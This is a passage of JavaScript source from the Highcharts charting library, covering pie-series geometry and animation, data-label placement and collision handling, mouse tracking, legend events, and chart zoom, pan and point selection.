requireSorting: false,
noSharedTooltip: true,
trackerGroups: ['group', 'dataLabelsGroup'],
axisTypes: [],
pointAttrToOptions: { // mapping between SVG attributes and the corresponding options
stroke: 'borderColor',
'stroke-width': 'borderWidth',
fill: 'color'
},
singularTooltips: true,
/**
* Pies have one color each point
*/
getColor: noop,
/**
* Animate the pies in
*/
animate: function (init) {
var series = this,
points = series.points,
startAngleRad = series.startAngleRad;
if (!init) {
each(points, function (point) {
var graphic = point.graphic,
args = point.shapeArgs;
if (graphic) {
// start values
graphic.attr({
r: series.center[3] / 2, // animate from inner radius (#779)
start: startAngleRad,
end: startAngleRad
});
// animate
graphic.animate({
r: args.r,
start: args.start,
end: args.end
}, series.options.animation);
}
});
// delete this function to allow it only once
series.animate = null;
}
},
/**
* Extend the basic setData method by running processData and generatePoints immediately,
* in order to access the points from the legend.
*/
setData: function (data, redraw, animation, updatePoints) {
Series.prototype.setData.call(this, data, false, animation, updatePoints);
this.processData();
this.generatePoints();
if (pick(redraw, true)) {
this.chart.redraw(animation);
}
},
/**
* Extend the generatePoints method by adding total and percentage properties to each point
*/
generatePoints: function () {
var i,
total = 0,
points,
len,
point,
ignoreHiddenPoint = this.options.ignoreHiddenPoint;
Series.prototype.generatePoints.call(this);
// Populate local vars
points = this.points;
len = points.length;
// Get the total sum
for (i = 0; i < len; i++) {
point = points[i];
total += (ignoreHiddenPoint && !point.visible) ? 0 : point.y;
}
this.total = total;
// Set each point's properties
for (i = 0; i < len; i++) {
point = points[i];
point.percentage = total > 0 ? (point.y / total) * 100 : 0;
point.total = total;
}
},
/**
* Do translation for pie slices
*/
translate: function (positions) {
this.generatePoints();
var series = this,
cumulative = 0,
precision = 1000, // issue #172
options = series.options,
slicedOffset = options.slicedOffset,
connectorOffset = slicedOffset + options.borderWidth,
start,
end,
angle,
startAngle = options.startAngle || 0,
startAngleRad = series.startAngleRad = mathPI / 180 * (startAngle - 90),
endAngleRad = series.endAngleRad = mathPI / 180 * ((pick(options.endAngle, startAngle + 360)) - 90),
circ = endAngleRad - startAngleRad, //2 * mathPI,
points = series.points,
radiusX, // the x component of the radius vector for a given point
radiusY,
labelDistance = options.dataLabels.distance,
ignoreHiddenPoint = options.ignoreHiddenPoint,
i,
len = points.length,
point;
// Get positions - either an integer or a percentage string must be given.
// If positions are passed as a parameter, we're in a recursive loop for adjusting
// space for data labels.
if (!positions) {
series.center = positions = series.getCenter();
}
// utility for getting the x value from a given y, used for anticollision logic in data labels
series.getX = function (y, left) {
angle = math.asin(mathMin((y - positions[1]) / (positions[2] / 2 + labelDistance), 1));
return positions[0] +
(left ? -1 : 1) *
(mathCos(angle) * (positions[2] / 2 + labelDistance));
};
// Calculate the geometry for each point
for (i = 0; i < len; i++) {
point = points[i];
// set start and end angle
start = startAngleRad + (cumulative * circ);
if (!ignoreHiddenPoint || point.visible) {
cumulative += point.percentage / 100;
}
end = startAngleRad + (cumulative * circ);
// set the shape
point.shapeType = 'arc';
point.shapeArgs = {
x: positions[0],
y: positions[1],
r: positions[2] / 2,
innerR: positions[3] / 2,
start: mathRound(start * precision) / precision,
end: mathRound(end * precision) / precision
};
// The angle must stay within -90 and 270 (#2645)
angle = (end + start) / 2;
if (angle > 1.5 * mathPI) {
angle -= 2 * mathPI;
} else if (angle < -mathPI / 2) {
angle += 2 * mathPI;
}
// Center for the sliced out slice
point.slicedTranslation = {
translateX: mathRound(mathCos(angle) * slicedOffset),
translateY: mathRound(mathSin(angle) * slicedOffset)
};
// set the anchor point for tooltips
radiusX = mathCos(angle) * positions[2] / 2;
radiusY = mathSin(angle) * positions[2] / 2;
point.tooltipPos = [
positions[0] + radiusX * 0.7,
positions[1] + radiusY * 0.7
];
point.half = angle < -mathPI / 2 || angle > mathPI / 2 ? 1 : 0;
point.angle = angle;
// set the anchor point for data labels
connectorOffset = mathMin(connectorOffset, labelDistance / 2); // #1678
point.labelPos = [
positions[0] + radiusX + mathCos(angle) * labelDistance, // first break of connector
positions[1] + radiusY + mathSin(angle) * labelDistance, // a/a
positions[0] + radiusX + mathCos(angle) * connectorOffset, // second break, right outside pie
positions[1] + radiusY + mathSin(angle) * connectorOffset, // a/a
positions[0] + radiusX, // landing point for connector
positions[1] + radiusY, // a/a
labelDistance < 0 ? // alignment
'center' :
point.half ? 'right' : 'left', // alignment
angle // center angle
];
}
},
drawGraph: null,
/**
* Draw the data points
*/
drawPoints: function () {
var series = this,
chart = series.chart,
renderer = chart.renderer,
groupTranslation,
//center,
graphic,
//group,
shadow = series.options.shadow,
shadowGroup,
shapeArgs;
if (shadow && !series.shadowGroup) {
series.shadowGroup = renderer.g('shadow')
.add(series.group);
}
// draw the slices
each(series.points, function (point) {
graphic = point.graphic;
shapeArgs = point.shapeArgs;
shadowGroup = point.shadowGroup;
// put the shadow behind all points
if (shadow && !shadowGroup) {
shadowGroup = point.shadowGroup = renderer.g('shadow')
.add(series.shadowGroup);
}
// if the point is sliced, use special translation, else use plot area traslation
groupTranslation = point.sliced ? point.slicedTranslation : {
translateX: 0,
translateY: 0
};
//group.translate(groupTranslation[0], groupTranslation[1]);
if (shadowGroup) {
shadowGroup.attr(groupTranslation);
}
// draw the slice
if (graphic) {
graphic.animate(extend(shapeArgs, groupTranslation));
} else {
point.graphic = graphic = renderer[point.shapeType](shapeArgs)
.setRadialReference(series.center)
.attr(
point.pointAttr[point.selected ? SELECT_STATE : NORMAL_STATE]
)
.attr({
'stroke-linejoin': 'round'
//zIndex: 1 // #2722 (reversed)
})
.attr(groupTranslation)
.add(series.group)
.shadow(shadow, shadowGroup);
}
// detect point specific visibility (#2430)
if (point.visible !== undefined) {
point.setVisible(point.visible);
}
});
},
/**
* Utility for sorting data labels
*/
sortByAngle: function (points, sign) {
points.sort(function (a, b) {
return a.angle !== undefined && (b.angle - a.angle) * sign;
});
},
/**
* Use a simple symbol from LegendSymbolMixin
*/
drawLegendSymbol: LegendSymbolMixin.drawRectangle,
/**
* Use the getCenter method from drawLegendSymbol
*/
getCenter: CenteredSeriesMixin.getCenter,
/**
* Pies don't have point marker symbols
*/
getSymbol: noop
};
PieSeries = extendClass(Series, PieSeries);
seriesTypes.pie = PieSeries;
/**
* Draw the data labels
*/
Series.prototype.drawDataLabels = function () {
var series = this,
seriesOptions = series.options,
cursor = seriesOptions.cursor,
options = seriesOptions.dataLabels,
points = series.points,
pointOptions,
generalOptions,
str,
dataLabelsGroup;
if (options.enabled || series._hasPointLabels) {
// Process default alignment of data labels for columns
if (series.dlProcessOptions) {
series.dlProcessOptions(options);
}
// Create a separate group for the data labels to avoid rotation
dataLabelsGroup = series.plotGroup(
'dataLabelsGroup',
'data-labels',
series.visible ? VISIBLE : HIDDEN,
options.zIndex || 6
);
// Make the labels for each point
generalOptions = options;
each(points, function (point) {
var enabled,
dataLabel = point.dataLabel,
labelConfig,
attr,
name,
rotation,
connector = point.connector,
isNew = true;
// Determine if each data label is enabled
pointOptions = point.options && point.options.dataLabels;
enabled = pick(pointOptions && pointOptions.enabled, generalOptions.enabled); // #2282
// If the point is outside the plot area, destroy it. #678, #820
if (dataLabel && !enabled) {
point.dataLabel = dataLabel.destroy();
// Individual labels are disabled if the are explicitly disabled
// in the point options, or if they fall outside the plot area.
} else if (enabled) {
// Create individual options structure that can be extended without
// affecting others
options = merge(generalOptions, pointOptions);
rotation = options.rotation;
// Get the string
labelConfig = point.getLabelConfig();
str = options.format ?
format(options.format, labelConfig) :
options.formatter.call(labelConfig, options);
// Determine the color
options.style.color = pick(options.color, options.style.color, series.color, 'black');
// update existing label
if (dataLabel) {
if (defined(str)) {
dataLabel
.attr({
text: str
});
isNew = false;
} else { // #1437 - the label is shown conditionally
point.dataLabel = dataLabel = dataLabel.destroy();
if (connector) {
point.connector = connector.destroy();
}
}
// create new label
} else if (defined(str)) {
attr = {
//align: align,
fill: options.backgroundColor,
stroke: options.borderColor,
'stroke-width': options.borderWidth,
r: options.borderRadius || 0,
rotation: rotation,
padding: options.padding,
zIndex: 1
};
// Remove unused attributes (#947)
for (name in attr) {
if (attr[name] === UNDEFINED) {
delete attr[name];
}
}
dataLabel = point.dataLabel = series.chart.renderer[rotation ? 'text' : 'label']( // labels don't support rotation
str,
0,
-999,
null,
null,
null,
options.useHTML
)
.attr(attr)
.css(extend(options.style, cursor && { cursor: cursor }))
.add(dataLabelsGroup)
.shadow(options.shadow);
}
if (dataLabel) {
// Now the data label is created and placed at 0,0, so we need to align it
series.alignDataLabel(point, dataLabel, options, null, isNew);
}
}
});
}
};
/**
* Align each individual data label
*/
Series.prototype.alignDataLabel = function (point, dataLabel, options, alignTo, isNew) {
var chart = this.chart,
inverted = chart.inverted,
plotX = pick(point.plotX, -999),
plotY = pick(point.plotY, -999),
bBox = dataLabel.getBBox(),
// Math.round for rounding errors (#2683), alignTo to allow column labels (#2700)
visible = this.visible && (point.series.forceDL || chart.isInsidePlot(plotX, mathRound(plotY), inverted) ||
(alignTo && chart.isInsidePlot(plotX, inverted ? alignTo.x + 1 : alignTo.y + alignTo.height - 1, inverted))),
alignAttr; // the final position;
if (visible) {
// The alignment box is a singular point
alignTo = extend({
x: inverted ? chart.plotWidth - plotY : plotX,
y: mathRound(inverted ? chart.plotHeight - plotX : plotY),
width: 0,
height: 0
}, alignTo);
// Add the text size for alignment calculation
extend(options, {
width: bBox.width,
height: bBox.height
});
// Allow a hook for changing alignment in the last moment, then do the alignment
if (options.rotation) { // Fancy box alignment isn't supported for rotated text
alignAttr = {
align: options.align,
x: alignTo.x + options.x + alignTo.width / 2,
y: alignTo.y + options.y + alignTo.height / 2
};
dataLabel[isNew ? 'attr' : 'animate'](alignAttr);
} else {
dataLabel.align(options, null, alignTo);
alignAttr = dataLabel.alignAttr;
// Handle justify or crop
if (pick(options.overflow, 'justify') === 'justify') {
this.justifyDataLabel(dataLabel, options, alignAttr, bBox, alignTo, isNew);
} else if (pick(options.crop, true)) {
// Now check that the data label is within the plot area
visible = chart.isInsidePlot(alignAttr.x, alignAttr.y) && chart.isInsidePlot(alignAttr.x + bBox.width, alignAttr.y + bBox.height);
}
}
}
// Show or hide based on the final aligned position
if (!visible) {
dataLabel.attr({ y: -999 });
dataLabel.placed = false; // don't animate back in
}
};
/**
* If data labels fall partly outside the plot area, align them back in, in a way that
* doesn't hide the point.
*/
Series.prototype.justifyDataLabel = function (dataLabel, options, alignAttr, bBox, alignTo, isNew) {
var chart = this.chart,
align = options.align,
verticalAlign = options.verticalAlign,
off,
justified;
// Off left
off = alignAttr.x;
if (off < 0) {
if (align === 'right') {
options.align = 'left';
} else {
options.x = -off;
}
justified = true;
}
// Off right
off = alignAttr.x + bBox.width;
if (off > chart.plotWidth) {
if (align === 'left') {
options.align = 'right';
} else {
options.x = chart.plotWidth - off;
}
justified = true;
}
// Off top
off = alignAttr.y;
if (off < 0) {
if (verticalAlign === 'bottom') {
options.verticalAlign = 'top';
} else {
options.y = -off;
}
justified = true;
}
// Off bottom
off = alignAttr.y + bBox.height;
if (off > chart.plotHeight) {
if (verticalAlign === 'top') {
options.verticalAlign = 'bottom';
} else {
options.y = chart.plotHeight - off;
}
justified = true;
}
if (justified) {
dataLabel.placed = !isNew;
dataLabel.align(options, null, alignTo);
}
};
/**
* Override the base drawDataLabels method by pie specific functionality
*/
if (seriesTypes.pie) {
seriesTypes.pie.prototype.drawDataLabels = function () {
var series = this,
data = series.data,
point,
chart = series.chart,
options = series.options.dataLabels,
connectorPadding = pick(options.connectorPadding, 10),
connectorWidth = pick(options.connectorWidth, 1),
plotWidth = chart.plotWidth,
plotHeight = chart.plotHeight,
connector,
connectorPath,
softConnector = pick(options.softConnector, true),
distanceOption = options.distance,
seriesCenter = series.center,
radius = seriesCenter[2] / 2,
centerY = seriesCenter[1],
outside = distanceOption > 0,
dataLabel,
dataLabelWidth,
labelPos,
labelHeight,
halves = [// divide the points into right and left halves for anti collision
[], // right
[] // left
],
x,
y,
visibility,
rankArr,
i,
j,
overflow = [0, 0, 0, 0], // top, right, bottom, left
sort = function (a, b) {
return b.y - a.y;
};
// get out if not enabled
if (!series.visible || (!options.enabled && !series._hasPointLabels)) {
return;
}
// run parent method
Series.prototype.drawDataLabels.apply(series);
// arrange points for detection collision
each(data, function (point) {
if (point.dataLabel && point.visible) { // #407, #2510
halves[point.half].push(point);
}
});
// assume equal label heights
i = 0;
while (!labelHeight && data[i]) { // #1569
labelHeight = data[i] && data[i].dataLabel && (data[i].dataLabel.getBBox().height || 21); // 21 is for #968
i++;
}
/* Loop over the points in each half, starting from the top and bottom
* of the pie to detect overlapping labels.
*/
i = 2;
while (i--) {
var slots = [],
slotsLength,
usedSlots = [],
points = halves[i],
pos,
length = points.length,
slotIndex;
// Sort by angle
series.sortByAngle(points, i - 0.5);
// Only do anti-collision when we are outside the pie and have connectors (#856)
if (distanceOption > 0) {
// build the slots
for (pos = centerY - radius - distanceOption; pos <= centerY + radius + distanceOption; pos += labelHeight) {
slots.push(pos);
// visualize the slot
/*
var slotX = series.getX(pos, i) + chart.plotLeft - (i ? 100 : 0),
slotY = pos + chart.plotTop;
if (!isNaN(slotX)) {
chart.renderer.rect(slotX, slotY - 7, 100, labelHeight, 1)
.attr({
'stroke-width': 1,
stroke: 'silver'
})
.add();
chart.renderer.text('Slot '+ (slots.length - 1), slotX, slotY + 4)
.attr({
fill: 'silver'
}).add();
}
*/
}
slotsLength = slots.length;
// if there are more values than available slots, remove lowest values
if (length > slotsLength) {
// create an array for sorting and ranking the points within each quarter
rankArr = [].concat(points);
rankArr.sort(sort);
j = length;
while (j--) {
rankArr[j].rank = j;
}
j = length;
while (j--) {
if (points[j].rank >= slotsLength) {
points.splice(j, 1);
}
}
length = points.length;
}
// The label goes to the nearest open slot, but not closer to the edge than
// the label's index.
for (j = 0; j < length; j++) {
point = points[j];
labelPos = point.labelPos;
var closest = 9999,
distance,
slotI;
// find the closest slot index
for (slotI = 0; slotI < slotsLength; slotI++) {
distance = mathAbs(slots[slotI] - labelPos[1]);
if (distance < closest) {
closest = distance;
slotIndex = slotI;
}
}
// if that slot index is closer to the edges of the slots, move it
// to the closest appropriate slot
if (slotIndex < j && slots[j] !== null) { // cluster at the top
slotIndex = j;
} else if (slotsLength < length - j + slotIndex && slots[j] !== null) { // cluster at the bottom
slotIndex = slotsLength - length + j;
while (slots[slotIndex] === null) { // make sure it is not taken
slotIndex++;
}
} else {
// Slot is taken, find next free slot below. In the next run, the next slice will find the
// slot above these, because it is the closest one
while (slots[slotIndex] === null) { // make sure it is not taken
slotIndex++;
}
}
usedSlots.push({ i: slotIndex, y: slots[slotIndex] });
slots[slotIndex] = null; // mark as taken
}
// sort them in order to fill in from the top
usedSlots.sort(sort);
}
// now the used slots are sorted, fill them up sequentially
for (j = 0; j < length; j++) {
var slot, naturalY;
point = points[j];
labelPos = point.labelPos;
dataLabel = point.dataLabel;
visibility = point.visible === false ? HIDDEN : VISIBLE;
naturalY = labelPos[1];
if (distanceOption > 0) {
slot = usedSlots.pop();
slotIndex = slot.i;
// if the slot next to currrent slot is free, the y value is allowed
// to fall back to the natural position
y = slot.y;
if ((naturalY > y && slots[slotIndex + 1] !== null) ||
(naturalY < y && slots[slotIndex - 1] !== null)) {
y = naturalY;
}
} else {
y = naturalY;
}
// get the x - use the natural x position for first and last slot, to prevent the top
// and botton slice connectors from touching each other on either side
x = options.justify ?
seriesCenter[0] + (i ? -1 : 1) * (radius + distanceOption) :
series.getX(slotIndex === 0 || slotIndex === slots.length - 1 ? naturalY : y, i);
// Record the placement and visibility
dataLabel._attr = {
visibility: visibility,
align: labelPos[6]
};
dataLabel._pos = {
x: x + options.x +
({ left: connectorPadding, right: -connectorPadding }[labelPos[6]] || 0),
y: y + options.y - 10 // 10 is for the baseline (label vs text)
};
dataLabel.connX = x;
dataLabel.connY = y;
// Detect overflowing data labels
if (this.options.size === null) {
dataLabelWidth = dataLabel.width;
// Overflow left
if (x - dataLabelWidth < connectorPadding) {
overflow[3] = mathMax(mathRound(dataLabelWidth - x + connectorPadding), overflow[3]);
// Overflow right
} else if (x + dataLabelWidth > plotWidth - connectorPadding) {
overflow[1] = mathMax(mathRound(x + dataLabelWidth - plotWidth + connectorPadding), overflow[1]);
}
// Overflow top
if (y - labelHeight / 2 < 0) {
overflow[0] = mathMax(mathRound(-y + labelHeight / 2), overflow[0]);
// Overflow left
} else if (y + labelHeight / 2 > plotHeight) {
overflow[2] = mathMax(mathRound(y + labelHeight / 2 - plotHeight), overflow[2]);
}
}
} // for each point
} // for each half
// Do not apply the final placement and draw the connectors until we have verified
// that labels are not spilling over.
if (arrayMax(overflow) === 0 || this.verifyDataLabelOverflow(overflow)) {
// Place the labels in the final position
this.placeDataLabels();
// Draw the connectors
if (outside && connectorWidth) {
each(this.points, function (point) {
connector = point.connector;
labelPos = point.labelPos;
dataLabel = point.dataLabel;
if (dataLabel && dataLabel._pos) {
visibility = dataLabel._attr.visibility;
x = dataLabel.connX;
y = dataLabel.connY;
connectorPath = softConnector ? [
M,
x + (labelPos[6] === 'left' ? 5 : -5), y, // end of the string at the label
'C',
x, y, // first break, next to the label
2 * labelPos[2] - labelPos[4], 2 * labelPos[3] - labelPos[5],
labelPos[2], labelPos[3], // second break
L,
labelPos[4], labelPos[5] // base
] : [
M,
x + (labelPos[6] === 'left' ? 5 : -5), y, // end of the string at the label
L,
labelPos[2], labelPos[3], // second break
L,
labelPos[4], labelPos[5] // base
];
if (connector) {
connector.animate({ d: connectorPath });
connector.attr('visibility', visibility);
} else {
point.connector = connector = series.chart.renderer.path(connectorPath).attr({
'stroke-width': connectorWidth,
stroke: options.connectorColor || point.color || '#606060',
visibility: visibility
//zIndex: 0 // #2722 (reversed)
})
.add(series.group);
}
} else if (connector) {
point.connector = connector.destroy();
}
});
}
}
};
/**
* Perform the final placement of the data labels after we have verified that they
* fall within the plot area.
*/
seriesTypes.pie.prototype.placeDataLabels = function () {
each(this.points, function (point) {
var dataLabel = point.dataLabel,
_pos;
if (dataLabel) {
_pos = dataLabel._pos;
if (_pos) {
dataLabel.attr(dataLabel._attr);
dataLabel[dataLabel.moved ? 'animate' : 'attr'](_pos);
dataLabel.moved = true;
} else if (dataLabel) {
dataLabel.attr({ y: -999 });
}
}
});
};
seriesTypes.pie.prototype.alignDataLabel = noop;
/**
* Verify whether the data labels are allowed to draw, or we should run more translation and data
* label positioning to keep them inside the plot area. Returns true when data labels are ready
* to draw.
*/
seriesTypes.pie.prototype.verifyDataLabelOverflow = function (overflow) {
var center = this.center,
options = this.options,
centerOption = options.center,
minSize = options.minSize || 80,
newSize = minSize,
ret;
// Handle horizontal size and center
if (centerOption[0] !== null) { // Fixed center
newSize = mathMax(center[2] - mathMax(overflow[1], overflow[3]), minSize);
} else { // Auto center
newSize = mathMax(
center[2] - overflow[1] - overflow[3], // horizontal overflow
minSize
);
center[0] += (overflow[3] - overflow[1]) / 2; // horizontal center
}
// Handle vertical size and center
if (centerOption[1] !== null) { // Fixed center
newSize = mathMax(mathMin(newSize, center[2] - mathMax(overflow[0], overflow[2])), minSize);
} else { // Auto center
newSize = mathMax(
mathMin(
newSize,
center[2] - overflow[0] - overflow[2] // vertical overflow
),
minSize
);
center[1] += (overflow[0] - overflow[2]) / 2; // vertical center
}
// If the size must be decreased, we need to run translate and drawDataLabels again
if (newSize < center[2]) {
center[2] = newSize;
this.translate(center);
each(this.points, function (point) {
if (point.dataLabel) {
point.dataLabel._pos = null; // reset
}
});
if (this.drawDataLabels) {
this.drawDataLabels();
}
// Else, return true to indicate that the pie and its labels is within the plot area
} else {
ret = true;
}
return ret;
};
}
if (seriesTypes.column) {
/**
* Override the basic data label alignment by adjusting for the position of the column
*/
seriesTypes.column.prototype.alignDataLabel = function (point, dataLabel, options, alignTo, isNew) {
var chart = this.chart,
inverted = chart.inverted,
dlBox = point.dlBox || point.shapeArgs, // data label box for alignment
below = point.below || (point.plotY > pick(this.translatedThreshold, chart.plotSizeY)),
inside = pick(options.inside, !!this.options.stacking); // draw it inside the box?
// Align to the column itself, or the top of it
if (dlBox) { // Area range uses this method but not alignTo
alignTo = merge(dlBox);
if (inverted) {
alignTo = {
x: chart.plotWidth - alignTo.y - alignTo.height,
y: chart.plotHeight - alignTo.x - alignTo.width,
width: alignTo.height,
height: alignTo.width
};
}
// Compute the alignment box
if (!inside) {
if (inverted) {
alignTo.x += below ? 0 : alignTo.width;
alignTo.width = 0;
} else {
alignTo.y += below ? alignTo.height : 0;
alignTo.height = 0;
}
}
}
// When alignment is undefined (typically columns and bars), display the individual
// point below or above the point depending on the threshold
options.align = pick(
options.align,
!inverted || inside ? 'center' : below ? 'right' : 'left'
);
options.verticalAlign = pick(
options.verticalAlign,
inverted || inside ? 'middle' : below ? 'top' : 'bottom'
);
// Call the parent method
Series.prototype.alignDataLabel.call(this, point, dataLabel, options, alignTo, isNew);
};
}
/**
* TrackerMixin for points and graphs
*/
var TrackerMixin = Highcharts.TrackerMixin = {
drawTrackerPoint: function () {
var series = this,
chart = series.chart,
pointer = chart.pointer,
cursor = series.options.cursor,
css = cursor && { cursor: cursor },
onMouseOver = function (e) {
var target = e.target,
point;
if (chart.hoverSeries !== series) {
series.onMouseOver();
}
while (target && !point) {
point = target.point;
target = target.parentNode;
}
if (point !== UNDEFINED && point !== chart.hoverPoint) { // undefined on graph in scatterchart
point.onMouseOver(e);
}
};
// Add reference to the point
each(series.points, function (point) {
if (point.graphic) {
point.graphic.element.point = point;
}
if (point.dataLabel) {
point.dataLabel.element.point = point;
}
});
// Add the event listeners, we need to do this only once
if (!series._hasTracking) {
each(series.trackerGroups, function (key) {
if (series[key]) { // we don't always have dataLabelsGroup
series[key]
.addClass(PREFIX + 'tracker')
.on('mouseover', onMouseOver)
.on('mouseout', function (e) { pointer.onTrackerMouseOut(e); })
.css(css);
if (hasTouch) {
series[key].on('touchstart', onMouseOver);
}
}
});
series._hasTracking = true;
}
},
/**
* Draw the tracker object that sits above all data labels and markers to
* track mouse events on the graph or points. For the line type charts
* the tracker uses the same graphPath, but with a greater stroke width
* for better control.
*/
drawTrackerGraph: function () {
var series = this,
options = series.options,
trackByArea = options.trackByArea,
trackerPath = [].concat(trackByArea ? series.areaPath : series.graphPath),
trackerPathLength = trackerPath.length,
chart = series.chart,
pointer = chart.pointer,
renderer = chart.renderer,
snap = chart.options.tooltip.snap,
tracker = series.tracker,
cursor = options.cursor,
css = cursor && { cursor: cursor },
singlePoints = series.singlePoints,
singlePoint,
i,
onMouseOver = function () {
if (chart.hoverSeries !== series) {
series.onMouseOver();
}
},
/*
* Empirical lowest possible opacities for TRACKER_FILL for an element to stay invisible but clickable
* IE6: 0.002
* IE7: 0.002
* IE8: 0.002
* IE9: 0.00000000001 (unlimited)
* IE10: 0.0001 (exporting only)
* FF: 0.00000000001 (unlimited)
* Chrome: 0.000001
* Safari: 0.000001
* Opera: 0.00000000001 (unlimited)
*/
TRACKER_FILL = 'rgba(192,192,192,' + (hasSVG ? 0.0001 : 0.002) + ')';
// Extend end points. A better way would be to use round linecaps,
// but those are not clickable in VML.
if (trackerPathLength && !trackByArea) {
i = trackerPathLength + 1;
while (i--) {
if (trackerPath[i] === M) { // extend left side
trackerPath.splice(i + 1, 0, trackerPath[i + 1] - snap, trackerPath[i + 2], L);
}
if ((i && trackerPath[i] === M) || i === trackerPathLength) { // extend right side
trackerPath.splice(i, 0, L, trackerPath[i - 2] + snap, trackerPath[i - 1]);
}
}
}
// handle single points
for (i = 0; i < singlePoints.length; i++) {
singlePoint = singlePoints[i];
trackerPath.push(M, singlePoint.plotX - snap, singlePoint.plotY,
L, singlePoint.plotX + snap, singlePoint.plotY);
}
// draw the tracker
if (tracker) {
tracker.attr({ d: trackerPath });
} else { // create
series.tracker = renderer.path(trackerPath)
.attr({
'stroke-linejoin': 'round', // #1225
visibility: series.visible ? VISIBLE : HIDDEN,
stroke: TRACKER_FILL,
fill: trackByArea ? TRACKER_FILL : NONE,
'stroke-width' : options.lineWidth + (trackByArea ? 0 : 2 * snap),
zIndex: 2
})
.add(series.group);
// The tracker is added to the series group, which is clipped, but is covered
// by the marker group. So the marker group also needs to capture events.
each([series.tracker, series.markerGroup], function (tracker) {
tracker.addClass(PREFIX + 'tracker')
.on('mouseover', onMouseOver)
.on('mouseout', function (e) { pointer.onTrackerMouseOut(e); })
.css(css);
if (hasTouch) {
tracker.on('touchstart', onMouseOver);
}
});
}
}
};
/* End TrackerMixin */
/**
* Add tracking event listener to the series group, so the point graphics
* themselves act as trackers
*/
if (seriesTypes.column) {
ColumnSeries.prototype.drawTracker = TrackerMixin.drawTrackerPoint;
}
if (seriesTypes.pie) {
seriesTypes.pie.prototype.drawTracker = TrackerMixin.drawTrackerPoint;
}
if (seriesTypes.scatter) {
ScatterSeries.prototype.drawTracker = TrackerMixin.drawTrackerPoint;
}
/*
* Extend Legend for item events
*/
extend(Legend.prototype, {
setItemEvents: function (item, legendItem, useHTML, itemStyle, itemHiddenStyle) {
var legend = this;
// Set the events on the item group, or in case of useHTML, the item itself (#1249)
(useHTML ? legendItem : item.legendGroup).on('mouseover', function () {
item.setState(HOVER_STATE);
legendItem.css(legend.options.itemHoverStyle);
})
.on('mouseout', function () {
legendItem.css(item.visible ? itemStyle : itemHiddenStyle);
item.setState();
})
.on('click', function (event) {
var strLegendItemClick = 'legendItemClick',
fnLegendItemClick = function () {
item.setVisible();
};
// Pass over the click/touch event. #4.
event = {
browserEvent: event
};
// click the name or symbol
if (item.firePointEvent) { // point
item.firePointEvent(strLegendItemClick, event, fnLegendItemClick);
} else {
fireEvent(item, strLegendItemClick, event, fnLegendItemClick);
}
});
},
createCheckboxForItem: function (item) {
var legend = this;
item.checkbox = createElement('input', {
type: 'checkbox',
checked: item.selected,
defaultChecked: item.selected // required by IE7
}, legend.options.itemCheckboxStyle, legend.chart.container);
addEvent(item.checkbox, 'click', function (event) {
var target = event.target;
fireEvent(item, 'checkboxClick', {
checked: target.checked
},
function () {
item.select();
}
);
});
}
});
/*
* Add pointer cursor to legend itemstyle in defaultOptions
*/
defaultOptions.legend.itemStyle.cursor = 'pointer';
/*
* Extend the Chart object with interaction
*/
extend(Chart.prototype, {
/**
* Display the zoom button
*/
showResetZoom: function () {
var chart = this,
lang = defaultOptions.lang,
btnOptions = chart.options.chart.resetZoomButton,
theme = btnOptions.theme,
states = theme.states,
alignTo = btnOptions.relativeTo === 'chart' ? null : 'plotBox';
this.resetZoomButton = chart.renderer.button(lang.resetZoom, null, null, function () { chart.zoomOut(); }, theme, states && states.hover)
.attr({
align: btnOptions.position.align,
title: lang.resetZoomTitle
})
.add()
.align(btnOptions.position, false, alignTo);
},
/**
* Zoom out to 1:1
*/
zoomOut: function () {
var chart = this;
fireEvent(chart, 'selection', { resetSelection: true }, function () {
chart.zoom();
});
},
/**
* Zoom into a given portion of the chart given by axis coordinates
* @param {Object} event
*/
zoom: function (event) {
var chart = this,
hasZoomed,
pointer = chart.pointer,
displayButton = false,
resetZoomButton;
// If zoom is called with no arguments, reset the axes
if (!event || event.resetSelection) {
each(chart.axes, function (axis) {
hasZoomed = axis.zoom();
});
} else { // else, zoom in on all axes
each(event.xAxis.concat(event.yAxis), function (axisData) {
var axis = axisData.axis,
isXAxis = axis.isXAxis;
// don't zoom more than minRange
if (pointer[isXAxis ? 'zoomX' : 'zoomY'] || pointer[isXAxis ? 'pinchX' : 'pinchY']) {
hasZoomed = axis.zoom(axisData.min, axisData.max);
if (axis.displayBtn) {
displayButton = true;
}
}
});
}
// Show or hide the Reset zoom button
resetZoomButton = chart.resetZoomButton;
if (displayButton && !resetZoomButton) {
chart.showResetZoom();
} else if (!displayButton && isObject(resetZoomButton)) {
chart.resetZoomButton = resetZoomButton.destroy();
}
// Redraw
if (hasZoomed) {
chart.redraw(
pick(chart.options.chart.animation, event && event.animation, chart.pointCount < 100) // animation
);
}
},
/**
* Pan the chart by dragging the mouse across the pane. This function is called
* on mouse move, and the distance to pan is computed from chartX compared to
* the first chartX position in the dragging operation.
*/
pan: function (e, panning) {
var chart = this,
hoverPoints = chart.hoverPoints,
doRedraw;
// remove active points for shared tooltip
if (hoverPoints) {
each(hoverPoints, function (point) {
point.setState();
});
}
each(panning === 'xy' ? [1, 0] : [1], function (isX) { // xy is used in maps
var mousePos = e[isX ? 'chartX' : 'chartY'],
axis = chart[isX ? 'xAxis' : 'yAxis'][0],
startPos = chart[isX ? 'mouseDownX' : 'mouseDownY'],
halfPointRange = (axis.pointRange || 0) / 2,
extremes = axis.getExtremes(),
newMin = axis.toValue(startPos - mousePos, true) + halfPointRange,
newMax = axis.toValue(startPos + chart[isX ? 'plotWidth' : 'plotHeight'] - mousePos, true) - halfPointRange;
if (axis.series.length && newMin > mathMin(extremes.dataMin, extremes.min) && newMax < mathMax(extremes.dataMax, extremes.max)) {
axis.setExtremes(newMin, newMax, false, false, { trigger: 'pan' });
doRedraw = true;
}
chart[isX ? 'mouseDownX' : 'mouseDownY'] = mousePos; // set new reference for next run
});
if (doRedraw) {
chart.redraw(false);
}
css(chart.container, { cursor: 'move' });
}
});
/*
* Extend the Point object with interaction
*/
extend(Point.prototype, {
/**
* Toggle the selection status of a point
* @param {Boolean} selected Whether to select or unselect the point.
* @param {Boolean} accumulate Whether to add to the previous selection. By default,
* this happens if the control key (Cmd on Mac) was pressed during clicking.
*/
select: function (selected, accumulate) {
var point = this,
series = point.series,
chart = series.chart;
selected = pick(selected, !point.selected);
// fire the event with the defalut handler
point.firePointEvent(selected ? 'select' : 'unselect', { accumulate: accumulate }, function () {
point.selected = point.options.selected = selected;
series.options.data[inArray(point, series.data)] = point.options;
point.setState(selected && SELECT_STATE);
// unselect all other points unless Ctrl or Cmd + click
if (!accumulate) {
each(chart.getSelectedPoints(), function (loopPoint) {
